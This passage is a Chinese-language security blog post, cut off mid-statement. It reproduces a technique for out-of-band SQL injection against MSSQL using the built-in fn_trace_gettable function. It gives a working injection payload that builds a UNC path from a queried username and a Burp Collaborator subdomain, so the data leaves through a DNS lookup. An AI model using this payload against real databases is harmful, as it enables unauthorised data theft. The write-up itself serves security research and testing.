通常在遇到目标使用MSSQL数据库,需要进行OOB攻击的情况,都是依赖MSSQL的存储过程进行的。而今天在Tweet上看到一位老铁(@ptswarm)发的一个骚操作,使用内置函数fn_trace_gettable进行OOB,觉得很有意思,遂尝试复现并分享。复现下面进行简单的复现,直接使用MSSQL2005、2008R2控制台进行操作,没有Web环境。如查询语句为:select * from users where id='1'那么插入Payload:注意:这里使用UNC的路径,最后必须以xxx.trc文件名做为结尾,否则语句无法正常执行' and exists(select * from fn_trace_gettable('\\'+(select username from users where id = 3)+'.8luqj7zqxxxxxxxxxxxxxxxx6gw4l.burpcollaborator.net\foo.trc', default))--最终语句变为:select * from users where id='1' and exists(select * from fn_trace_gettable('\\'+(select username from users where id = 3)+'.
………………………………